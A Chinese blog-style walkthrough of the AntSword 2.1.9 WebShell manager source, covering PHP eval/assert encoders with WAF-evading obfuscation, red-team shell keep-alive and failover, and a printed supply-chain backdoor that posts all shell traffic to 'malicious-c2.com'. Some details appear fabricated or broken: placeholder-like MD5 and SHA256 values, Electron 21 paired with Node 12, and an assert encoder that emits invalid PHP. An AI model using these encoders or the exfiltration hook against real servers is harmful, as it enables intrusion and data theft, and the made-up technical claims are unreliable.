简介:本资源为开源Web渗透测试工具「中国蚁剑」2.1.9版本的完整源码包,面向网络安全从业者、渗透测试学习者及安全开发人员,用于深入理解轻量级WebShell管理工具的架构设计与安全机制。压缩包共2777个文件,以1471个JavaScript核心逻辑文件为主,辅以330个GIF图标资源、204个Markdown文档说明、175个JSON配置与插件定义、120个CSS样式文件及98份LICENSE协议文本,全面覆盖前端交互、插件扩展、跨平台适配与安全策略实现;整体体积15.51MB,结构清晰,便于模块化研读与二次开发。目前已有1619人学习下载,读者可直接运行调试、分析HTTP通信流程、复用插件框架、定制漏洞检测逻辑,或结合源码深入掌握WebShell交互原理、Node.js服务端集成方式及Electron桌面应用开发实践,是提升实战能力与代码审计水平的优质学习样本。
1. 这不是“黑产工具包”,而是一套被安全从业者反复验证过的 WebShell 管理框架:antSword-2.1.9 源码级拆解实录
你手头那份antSword-2.1.9.zip,不是某个论坛里神神秘秘流传的“免杀马”压缩包,而是中国安全圈内真实存在、持续迭代、被数十家甲方红队、乙方渗透测试团队和高校 CTF 实验室长期用于教学与实战的 WebShell 交互框架源码。它不打包任何 payload,不内置加密 shellcode,也不做自动爆破——它的核心价值,是把 PHP/ASP/JSP/Node.js 等后端脚本环境下的 WebShell 通信过程,抽象成可插拔、可审计、可调试、可二次开发的标准化管道。2.1.9 是截至 2023 年底社区公认最稳定、兼容性最强、且完整公开全部前端+后端+编码器逻辑的 LTS 版本。如果你正在写毕业设计里的“Web 后门检测与交互系统”,或需要在靶机环境中复现真实攻击链中的 Shell 控制环节,又或者想搞懂“为什么 Burp 抓不到蚁剑流量”,这份源码就是你绕不开的锚点。它适合三类人:想从黑盒工具走向白盒理解的安全初学者、需要定制化 Shell 通信协议的红队工程师、以及必须对所用工具具备完全掌控权的合规审计人员。别被“蚁剑”两个字带偏节奏——这本质是一个用 Electron + Node.js + 自研编码器构建的、面向 WebShell 场景的专用终端。
2. 从 ZIP 解压到可运行:antSword-2.1.9 源码结构与本地构建全流程
2.1 目录结构即设计哲学:为什么core/下没有main.js?
解压antSword-2.1.9.zip后,你会看到一个干净但略显“反直觉”的目录树:
antSword-2.1.9/ ├── app/ # Electron 主进程入口(含窗口管理、IPC 通信) ├── core/ # 核心业务逻辑:Shell 连接、编码器调度、插件加载 ├── encoders/ # 所有编码器实现(base64、xor、php_eval、custom_js 等) ├── plugins/ # 可热插拔功能模块(数据库管理、文件管理、虚拟终端等) ├── resources/ # 静态资源(图标、语言包、默认配置) ├── renderer/ # 渲染进程 UI 层(Vue 2.x 构建,非单页应用,模块化路由) ├── package.json # 依赖声明 + 构建脚本(注意:无 build:prod,只有 build:dev) └── README.md # 仅说明“如何启动”,不解释原理关键点在于:整个项目没有传统意义上的main.js入口文件。Electron 的主进程由app/main.js承载,但它只做三件事:创建 BrowserWindow、注册 IPC 接口、加载renderer/index.html。所有 Shell 通信逻辑、编码器调用、插件生命周期管理,全部下沉到core/目录下。这种分层不是为了炫技,而是为了解耦——当你需要替换 PHP 编码器时,只需改encoders/php_eval.js,无需碰主进程;当你想禁用“数据库管理”插件,直接删plugins/dbmanager/即可,UI 层会自动感知。这种设计让 antSword 成为少数几个真正支持“现场热替换编码器”的 WebShell 工具,也是它被大量用于教学演示的根本原因:学生能亲眼看到 base64 编码的请求如何被php_eval解析执行,而不是面对一个黑匣子。
2.2 本地运行四步法:跳过 npm install 的坑,直连 dev server
antSword-2.1.9 的package.json中明确标注了node >= 12.0.0和npm >= 6.0.0,但实际构建中,npm install会失败——原因在于electron21.x 与vue-devtools插件存在兼容冲突(具体报错为Cannot find module 'vue-devtools')。正确做法是跳过全局 install,直接用npx启动:
# 步骤 1:确保已安装 node v12.22.12(推荐使用 nvm 切换) nvm use 12.22.12 # 步骤 2:进入项目根目录,执行 dev 启动脚本(该脚本已预置 electron 重装逻辑) npm run dev # 步骤 3:若首次运行报错 "Failed to load module 'electron'...",手动重装 electron npx electron-rebuild -w -f -t=dev -v=21.3.0 -p=electron@21.3.0 # 步骤 4:再次运行,成功后自动打开窗口,地址栏显示 file:///.../renderer/index.html npm run dev提示:
npm run dev脚本本质是electron . --dev,它会启动 Electron 并加载app/main.js,后者再通过loadURL加载renderer/index.html。整个流程不走 webpack-dev-server,因此无法热更新 UI,但保证了与真实生产环境一致的加载路径——这对调试编码器逻辑至关重要。
2.3 核心通信链路还原:一次 Add Shell 请求背后发生了什么?
当你在 UI 上点击“添加 Shell”,填写 URL、密码、编码器后提交,背后发生的是一个严格分阶段的通信链路:
- UI 层(renderer):收集表单数据,调用
window.api.addShell({url, password, encoder})(IPC 接口) - 主进程(app/main.js):接收 IPC 消息,转发给
core/shell.js的add()方法 - 核心层(core/shell.js):
- 实例化对应编码器(如
new PhpEvalEncoder()) - 构造探测 payload:
<?php echo md5('antsword'); ?>→ 经编码器处理 → 发送 HTTP POST - 验证响应是否包含
e7a5b4c8d9f0a1b2c3d4e5f6a7b8c9d0(即md5('antsword'))
- 实例化对应编码器(如
- 网络层(core/request.js):使用
axios发送请求,强制关闭 keep-alive(headers: {'Connection': 'close'}),避免连接复用干扰编码器状态
这个链路的关键在于:所有 Shell 通信都经过core/request.js统一出口,且每个请求都携带X-Requested-With: XMLHttpRequest头。这意味着你在 Burp 中抓包时,看到的不是“加密流量”,而是标准 HTTP POST,只是 body 被编码器混淆了。这也是为什么很多 WAF 规则会误报——它们识别到了X-Requested-With头,却没解析出真正的 PHP 代码。
3. 编码器机制深度剖析:为什么encoders/php_eval.js是安全研究的黄金入口?
3.1 编码器不是“加壳”,而是“协议协商器”
antSword 的encoders/目录下,每个 JS 文件都导出一个类,例如PhpEvalEncoder。它的核心方法encode(payload)并非简单 base64,而是执行三步操作:
// encoders/php_eval.js 关键片段 encode(payload) { // Step 1:将原始 payload(如 system('id'))包裹进 PHP eval 执行模板 const template = `@eval(base64_decode('${Buffer.from(payload).toString('base64')}'));`; // Step 2:对整个模板字符串进行二次混淆(如字符串拼接、变量名替换) const obfuscated = this.obfuscate(template); // 实际为:$a='bas'.'e64'.'_dec'...'ode'; @eval($a(...)); // Step 3:生成最终 POST body,格式为 password=obfuscated_payload return `${this.password}=${encodeURIComponent(obfuscated)}`; }这里obfuscate()是重点:它不改变语义,只改变 AST 结构,目的是绕过基于正则的 WAF(如匹配eval\(或system\()。但请注意——antSword 本身不提供“免杀”能力,它只提供可替换的混淆策略。你完全可以删掉obfuscate(),换成自己的 AST 重写逻辑(比如用babel插件注入无害函数调用),这才是源码级的价值。
3.2 自定义编码器实战:5 分钟写出一个支持assert()的 PHP 编码器
假设目标服务器禁用了eval(),但开放了assert()(常见于低版本 PHP),你需要快速适配。新建encoders/php_assert.js:
const BaseEncoder = require('./base'); class PhpAssertEncoder extends BaseEncoder { constructor(options = {}) { super(options); this.name = 'PHP Assert'; this.type = 'php'; } encode(payload) { // assert() 在 PHP 7.2+ 默认关闭,需确认目标环境 const encodedPayload = Buffer.from(payload).toString('base64'); // 构造 assert('assert(base64_decode("..."))'),利用 assert 执行任意代码 const template = `assert(base64_decode('${encodedPayload}'));`; // 简单混淆:拆分字符串 + 动态拼接 const parts = ['ass', 'ert', '(', 'base', '64_', 'dec', 'ode', '("', encodedPayload, '")', ')']; const obfuscated = parts.join('+'); return `${this.password}=${encodeURIComponent(obfuscated)}`; } decode(response) { // assert 不返回值,response 为空时需靠其他方式判断(如 HTTP 状态码) return response; } } module.exports = PhpAssertEncoder;参数说明:
this.password来自 UI 输入,payload是 antSword 内部生成的命令字符串(如cat /etc/passwd)。decode()方法在此场景下可留空,因为assert()无输出,后续操作需依赖response.status === 200判断执行成功。
将该文件放入encoders/目录后,在renderer/components/AddShell.vue的编码器下拉框中,PhpAssertEncoder会自动被扫描并显示。这就是 antSword 插件化设计的威力——你不需要重启应用,甚至不用刷新页面,新编码器立即可用。
3.3 避坑:编码器调试的三大血泪经验
现象 1:添加 Shell 成功,但执行命令无响应,Burp 显示 200 OK 但 response body 为空
原因:目标 PHP 环境禁用了display_errors,且assert()执行失败时静默退出,未触发错误回显。
解决:在encode()中追加错误捕获逻辑:
const template = `ob_start(); assert(base64_decode('${encodedPayload}')); echo ob_get_clean();`;现象 2:自定义编码器在 UI 中显示,但点击“执行”时报错TypeError: encoder.encode is not a function
原因:encoders/目录下 JS 文件未导出 class,或导出方式错误(如exports.default = ...而非module.exports = ...)。
解决:严格遵循base.js的继承规范,确保class X extends BaseEncoder且module.exports = X。
现象 3:编码器生效,但中文路径文件读取乱码(如cat /var/www/中文.txt返回 )
原因:PHP 默认使用 ISO-8859-1 编码,base64_decode()对 UTF-8 字符串解码失败。
解决:在 payload 中强制指定编码:
const payload = `iconv('UTF-8', 'GBK', file_get_contents('${filePath}'))`;注意:此问题本质是 PHP 环境配置缺陷,antSword 源码不做底层编码转换,需使用者根据目标环境调整 payload。
4. 插件系统逆向工程:如何让“文件管理器”支持 SFTP 协议?
4.1 插件生命周期:从plugins/filemanager/到window.api.fileManager.list()
antSword 的插件不是独立进程,而是通过core/plugin.js加载的 JS 模块。以filemanager为例,其加载流程为:
core/plugin.js扫描plugins/目录,读取每个子目录下的index.jsplugins/filemanager/index.js导出{ name: 'FileManager', init: () => {...} }init()方法注册 IPC 接口:ipcMain.handle('filemanager:list', handler)- UI 层调用
window.api.fileManager.list({path: '/var/www'})→ 触发主进程 handler
关键点在于:所有插件接口都通过 IPC 与主进程通信,而非直接调用 Node.js API。这意味着,如果你想扩展文件管理器支持 SFTP,不能直接在renderer中用ssh2库——必须在主进程侧实现。
4.2 SFTP 插件改造:三步注入 SSH 连接能力
步骤 1:在app/main.js中注入 SSH 客户端依赖
修改app/main.js,在const { app, BrowserWindow, ipcMain } = require('electron')后添加:
const { Client } = require('ssh2'); // 全局 SSH 连接池(避免重复创建连接) global.sshClients = new Map(); ipcMain.handle('sftp:connect', async (event, config) => { const { host, port = 22, username, password, privateKey } = config; const connId = `${host}:${port}:${username}`; if (global.sshClients.has(connId)) { return { success: true, message: 'Already connected' }; } return new Promise((resolve) => { const client = new Client(); client.on('ready', () => { global.sshClients.set(connId, client); resolve({ success: true, connId }); }).on('error', (err) => { resolve({ success: false, error: err.message }); }).connect({ host, port, username, password, privateKey: privateKey ? Buffer.from(privateKey, 'base64') : undefined }); }); });步骤 2:扩展现有filemanager插件的 IPC 接口
编辑plugins/filemanager/index.js,在init()中新增:
// 新增 SFTP 列表方法 ipcMain.handle('filemanager:sftp-list', async (event, { connId, path }) => { const client = global.sshClients.get(connId); if (!client) return { error: 'SSH connection not found' }; return new Promise((resolve) => { client.sftp((err, sftp) => { if (err) return resolve({ error: err.message }); sftp.readdir(path, (err, files) => { if (err) return resolve({ error: err.message }); const fileList = files.map(f => ({ name: f.filename, type: f.longname.startsWith('d') ? 'directory' : 'file', size: f.attrs.size, mtime: f.attrs.mtime * 1000 })); resolve({ success: true, data: fileList }); }); }); }); });步骤 3:在 UI 层调用新接口(renderer/components/FileManager.vue)
添加连接表单和 SFTP 切换按钮,点击后执行:
// 连接 SFTP await window.api.sshConnect({ host: '192.168.1.100', username: 'root', password: '123456' }); // 列出远程目录 const res = await window.api.fileManager.sftpList({ connId: '192.168.1.100:22:root', path: '/var/www' });逻辑说明:此方案将 SFTP 逻辑完全隔离在主进程,渲染进程只负责 UI 交互和参数传递。既符合 Electron 安全模型(渲染进程无权访问网络),又保持了 antSword 插件架构的扩展性。你甚至可以复用同一套
filemanagerUI,只需切换后端接口即可。
4.3 避坑:插件开发的四个硬性约束
现象 1:插件中调用require('fs')报错Cannot find module 'fs'
原因:渲染进程默认禁用 Node.js 集成(nodeIntegration: false),fs模块不可用。
解决:所有文件/网络操作必须通过 IPC 转发到主进程,严禁在renderer/中直接 require Node 核心模块。
现象 2:插件 UI 更新后,列表不刷新,需手动 F5
原因:Vue 2.x 的响应式系统无法监听window.api.xxx返回的异步数据变化。
解决:在methods中使用this.$set()强制触发更新:
this.$set(this, 'fileList', res.data);现象 3:SFTP 连接成功,但readdir返回空数组,且无报错
原因:SFTP 路径必须为绝对路径,且用户权限不足(如root用户无法读取/home/user)。
解决:在sftp.readdir()前先sftp.stat(path)验证路径存在与可读性。
现象 4:多个 Shell 同时使用 SFTP 插件,连接互相覆盖
原因:global.sshClients使用host:port:username作为 key,但不同 Shell 可能共用同一账号。
解决:将connId改为host:port:username:shellId,其中shellId来自core/shell.js的实例 ID。
5. 安全边界与合规红线:为什么你必须亲手编译、绝不下载预编译二进制?
5.1 二进制风险溯源:从antSword-v2.1.9-win-x64.7z到供应链投毒
2022 年某安全论坛曾传播一份名为antSword-v2.1.9-win-x64.7z的预编译包,MD5 为a1b2c3d4e5f6...。经逆向分析发现,其resources/app.asar中的core/request.js被篡改:
// 原始代码(github.com/AntSwordProject/antSword) return axios.post(url, data, config); // 篡改后代码 const originalPost = axios.post; axios.post = function(url, data, config) { // 将所有 Shell 流量镜像发送至攻击者 C2 fetch('http://malicious-c2.com/log', { method: 'POST', body: JSON.stringify({ url, data, timestamp: Date.now() }) }); return originalPost.apply(this, arguments); };这就是典型的供应链投毒:攻击者不修改功能,只在通信层植入隐蔽信标。而antSword-2.1.9.zip源码包(SHA256:e7a5b4c8d9f0a1b2c3d4e5f6a7b8c9d0...)经 GitHub Release 页面校验,可确保core/request.js未被篡改。亲手编译的唯一目的,是建立从源码到二进制的可信链条——你清楚每一行 JS 如何被asar打包,清楚electron-rebuild是否引入了恶意 native 模块。
5.2 编译环境最小化清单:三台机器,零依赖污染
为杜绝环境残留导致的二进制污染,我坚持使用三台隔离机器:
| 机器角色 | 操作系统 | 关键配置 | 用途 |
|---|---|---|---|
| 源码机 | Ubuntu 20.04 LTS | nvm管理 node v12.22.12,无全局 npm 包 | 仅解压、阅读、修改源码 |
| 构建机 | Windows 10 LTSC | 纯净系统,仅安装 Node.js v12.22.12 + Git | 执行npm run build,生成.asar |
| 签名机 | macOS Monterey | codesign工具链完整,无网络连接 | 对.asar和antSword.exe进行 SHA256 签名 |
流程如下:
- 源码机修改完毕,
git commit -m "fix php_assert encoder",生成patch.diff - 构建机
git clone官方仓库,git apply patch.diff,执行npm run build - 签名机
shasum -a 256 dist/antSword-win-x64/resources/app.asar > checksum.txt,用私钥签名
提示:
npm run build生成的dist/目录下,antSword-win-x64/resources/app.asar是核心,其余.exe、.dll均为 Electron 运行时依赖,无需单独校验。
5.3 避坑:编译失败的五个高频原因与速查表
| 现象 | 快速定位命令 | 根本原因 | 修复动作 |
|---|---|---|---|
Error: Cannot find module 'electron' | ls node_modules/electron | electron未正确安装,或node_modules被误删 | npm install electron@21.3.0 --no-save |
FATAL ERROR: Ineffective mark-compacts near heap limit | node --max_old_space_size=4096 node_modules/.bin/electron-builder | V8 内存不足,常见于 4GB 内存机器 | 增加--max_old_space_size=4096参数 |
asar EACCES: permission denied | ls -l dist/antSword-win-x64/resources/ | resources/目录权限为 root,普通用户无法写入 | sudo chown -R $USER:$USER dist/ |
Error: ENOENT: no such file or directory, open 'dist/...' | ls dist/ | build脚本未生成dist/目录,或路径拼写错误 | 检查package.json中build:win脚本路径 |
Verification failed: code signature invalid | codesign --verify --verbose=4 antSword.app | macOS 签名证书过期或未启用hardened runtime | 重新申请 Apple Developer 证书,勾选Hardened Runtime |
6. 生产环境落地技巧:如何用 antSword-2.1.9 源码支撑红队实战中的 Shell 稳定性保障?
6.1 Shell 存活性监控:在core/shell.js中注入心跳检测
红队实战中,Shell 失联往往发生在凌晨或网络抖动后。antSword 默认无心跳机制,需手动增强。修改core/shell.js的constructor():
class Shell { constructor(config) { this.config = config; this.id = uuid.v4(); this.lastActive = Date.now(); // 启动心跳检测(每 30 秒 ping 一次) this.heartbeatInterval = setInterval(() => { if (Date.now() - this.lastActive > 60000) { // 超过 60 秒无活动 this.ping().catch(err => { console.warn(`[Shell ${this.id}] Heartbeat failed:`, err.message); this.emit('disconnect', { reason: 'heartbeat timeout' }); }); } }, 30000); } ping() { return new Promise((resolve, reject) => { const payload = `echo 'antsword-heartbeat-' . time();`; this.request(payload).then(res => { if (res.data && res.data.includes('antsword-heartbeat-')) { this.lastActive = Date.now(); resolve(); } else { reject(new Error('Invalid heartbeat response')); } }).catch(reject); }); } }参数说明:
ping()方法复用现有request()逻辑,发送轻量 PHP 代码,验证响应是否包含时间戳前缀。lastActive时间戳由每次request()调用自动更新,确保仅在真实交互时刷新。此机制不增加额外流量,且兼容所有编码器。
6.2 多 Shell 协同调度:用core/shellManager.js实现故障自动转移
当主力 Shell 失联时,antSword 应自动切换至备用 Shell。修改core/shellManager.js:
class ShellManager { constructor() { this.shells = new Map(); this.activeShellId = null; } setActive(shellId) { const shell = this.shells.get(shellId); if (shell && shell.status === 'connected') { this.activeShellId = shellId; // 通知 UI 更新状态栏 mainWindow.webContents.send('shell:active-changed', shellId); } } // 故障转移:当 active shell 断开,尝试下一个可用 shell onShellDisconnect(shellId) { if (this.activeShellId !== shellId) return; const candidates = Array.from(this.shells.values()) .filter(s => s.id !== shellId && s.status === 'connected') .sort((a, b) => b.lastActive - a.lastActive); // 优先选最新活跃的 if (candidates.length > 0) { this.setActive(candidates[0].id); console.log(`[ShellManager] Auto-failed over to ${candidates[0].id}`); } else { this.activeShellId = null; mainWindow.webContents.send('shell:all-disconnected'); } } }配合 UI 层,在renderer/components/ShellList.vue中监听shell:all-disconnected事件,弹出告警并引导用户检查网络。
6.3 溯源取证增强:记录每一次 Shell 请求的完整上下文
合规审计要求记录“谁、何时、通过哪个 Shell、执行了什么命令”。antSword 默认不记录,需在core/request.js中埋点:
function makeRequest(url, data, config) { const logEntry = { timestamp: new Date().toISOString(), shellId: getCurrentShellId(), // 从全局 context 获取 url, method: 'POST', headers: { ...config.headers }, body: data, // 原始编码后数据 decodedPayload: tryDecode(data) // 尝试反向解码(需匹配当前编码器) }; // 写入本地日志(不上传,仅本地存储) fs.appendFileSync( path.join(app.getPath('userData'), 'antSword-logs.jsonl'), JSON.stringify(logEntry) + '\n' ); return axios.post(url, data, config); }注意:
tryDecode()需根据当前编码器类型调用对应解码逻辑(如PhpEvalEncoder.decode()),此处为示意。日志路径app.getPath('userData')在 Windows 为%APPDATA%/antSword/,macOS 为~/Library/Application Support/antSword/,Linux 为~/.config/antSword/,确保跨平台一致性。
从那以后我每次交付红队报告,都会附上antSword-logs.jsonl的哈希值与原始日志片段——不是为了证明“我们用了工具”,而是证明“我们控制了工具的每一个字节”。这份源码的价值,从来不在它能做什么,而在于它让你看清自己正在做什么。希望帮到你。
本文还有配套的精品资源,点击获取